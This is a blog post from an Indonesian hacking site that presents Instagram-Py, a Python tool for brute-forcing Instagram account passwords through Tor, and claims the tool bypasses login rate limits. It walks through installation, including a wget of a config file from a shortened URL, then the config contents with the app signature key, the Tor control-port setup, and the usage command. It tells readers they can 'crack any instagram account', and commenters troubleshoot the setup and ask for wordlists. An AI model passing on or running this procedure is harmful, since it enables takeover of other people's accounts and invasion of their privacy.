• Skip to primary navigation
  • Skip to main content
  • Skip to primary sidebar

LinuxSec Exploit

Nothing is Ever Locked

  • XSS Payloads
  • About Us

Hack Akun Instagram dengan Tool Brute Force Instagram-Py

January 6, 2018 by Jack Wilder 14 Comments

Instagram-Py is a simple python script to perform basic brute force attack against Instagram , this script can bypass login limiting on wrong passwords , so basically it can test infinite number of passwords. Instagram-Py is proved and can test over 6M passwords on a single instagram account with less resource as possible. This script mimics the activities of the official instagram android app and sends request over tor so you are secure , but if your tor installation is misconfigured then the blame is on you.

Instagram-py performs slick brute force attack on Instagram without any type of password limiting and also resumes your attack in ease.

Depends on

  • python3
  • tor
  • requests
  • requests[socks]
  • stem

Installation

using pip to get Instagram-py
Make sure you have got the latest version of pip(>= 9.0 and python(>= 3.6)

$ sudo easy_install3 -U pip # you have to install python3-setuptools , update pip
$ sudo pip3 install requests --upgrade
$ sudo pip3 install requests[socks]
$ sudo pip3 install stem
$ sudo pip3 install instagram-py
$ instagram-py # installed successfully
$ # Now lets copy the config file to your hard drive!
$ wget -O ~/instapy-config.json "https://git.io/v5DGy"

Configuring Instagram-Py

Open your configuration file found in your home directory , this file is very important located at ~/instapy-config.json , do not change anything except tor configuration

$ vim ~/instapy-config.json # open it with your favorite text editior!

The configuration file looks like this


{
"api-url" : "https://i.instagram.com/api/v1/",
"user-agent" : "Instagram 10.26.0 Android (18/4.3; 320dp..... ",
"ig-sig-key" : "4f8732eb9ba7d1c8e8897a75d6474d4eb3f5279137431b2aafb71fafe2abe178",
"ig-sig-version" : "4",
"tor" : {
"server" : "127.0.0.1",
"port" : "9050",
"protocol" : "socks5",
"control" : {
"password" : "",
"port" : "9051"
}
}

}

api-url : do not change this unless you know what you are doing

user-agent : do not change this unless you know your stuff

ig-sig_key : never change this unless new release, this is extracted from the instagram apk file

tor : change everything according to your tor server configuration , do not mess up!

Configuring Tor server to open control port

open your tor configuration file usually located at /etc/tor/torrc

$ sudo vim /etc/tor/torrc # open it with your text editor

search for the file for this specific section

## The port on which Tor will listen for local connections from Tor
## controller applications, as documented in control-spec.txt.
#ControlPort 9051

uncomment ‘ControlPort’ by deleting the # before ‘ControlPort’ , now save the file and restart your tor server

now you are ready to crack any instagram account , make sure your tor configuration matched ~/instapy-config.json

Usage

Finally , now you can use instagram-py!

$ instagram-py your_account_username path_to_password_list

License

The MIT License,

Copyright (C) 2017 The Future Shell , DeathSec

Github

https://github.com/getsecnow/instagram-py

Filed Under: Tools

Reader Interactions

Comments

  1. Someone says

    January 8, 2018 at 2:07 am

    Mau tanya, Template blog ini namanya apa yaa…

    Reply
    • Ratna Antika says

      January 8, 2018 at 11:16 am

      pointpro

      Reply
      • Someone says

        January 8, 2018 at 10:14 pm

        Oke, Terima Kasih ya.

        Reply
  2. Angger says

    January 9, 2018 at 7:34 am

    Saya tidak menemukan /etc/tor/torrc untuk CONFIGURING TOR SERVER TO OPEN CONTROL PORT. Saya menggunakan Ubuntu 14.04

    Dan saya bingung untuk instagram-py your_account_username path_to_password_list
    Yg muncul di terminal fatal error:: password list not found at

    Reply
    • Rifky says

      January 11, 2018 at 7:22 pm

      install tor nya dulu mas, sudo apt-get install tor baru deh nano /etc/tor/torrc lalu cari ControlPort nya

      Reply
  3. LUL says

    March 19, 2018 at 7:45 pm

    sya eror di pas install
    $ sudo pip3 install instagram-py
    python setup.py egg_info failed with error code 1 in /tmp/pip-build-wag8Jg/instagram-py

    Reply
  4. d says

    April 18, 2018 at 12:01 pm

    fatal error:: Connection to host failed , check your connection and tor configuration :: SOCKSHTTPConnectionPool(host=’httpbin.org’, port=80): Max retries exceeded with url: /ip (Caused by NewConnectionError(‘: Failed to establish a new connection: 0x06: TTL expired’,))

    kenapa tuh udah ke install smw tor dh jalan jga

    Reply
  5. pandu erawan says

    May 24, 2018 at 10:47 am

    path_to_password_list
    maksud dari command ini apa ya ?

    Reply
  6. rul says

    May 24, 2018 at 10:24 pm

    Ini oake linuk?

    Reply
    • nyemnyem says

      September 30, 2018 at 8:28 pm

      bukan gan make tissu magic

      Reply
      • Cyber Crime says

        November 14, 2018 at 4:54 pm

        pake memek

        Reply
        • demo_account says

          February 6, 2020 at 4:39 pm

          DUARRRR

          Reply
  7. d3mss says

    April 20, 2019 at 5:44 pm

    bagi wordlist dong wordlist indo

    Reply
  8. Fauzan says

    July 19, 2019 at 9:12 pm

    Camong

    Reply

Leave a Reply Cancel reply

Your email address will not be published. Required fields are marked *

Primary Sidebar

Popular Post

MIME Type Sniffing pada Form Upload Gambar

CVE-2019-13360 – CentOS Control Web Panel Authentication Bypass

Exploit WordPress Plugin WP Mobile Edition Local File Disclosure Vulnerability

Download 1n73ct10n / 1n73ction Privat Web Shell by X’1N73CT

Prestashop Module Blocktestimonial File Upload Auto Exploit

Exploit Drupal Core 7.x Auto SQL Injection dan Upload Shell

Tutorial Deface Menutup Halaman Depan Situs Target dengan JS Overlay

Deface WordPress dengan Exploit Themes Qualifire File Upload Vulnerability

WordPress Plugin CopySafe PDF Protection Shell Upload

WordPress 4.7.0/4.7.1 Content Injection Exploit

LinuxSec / 10 queries in 0.14 seconds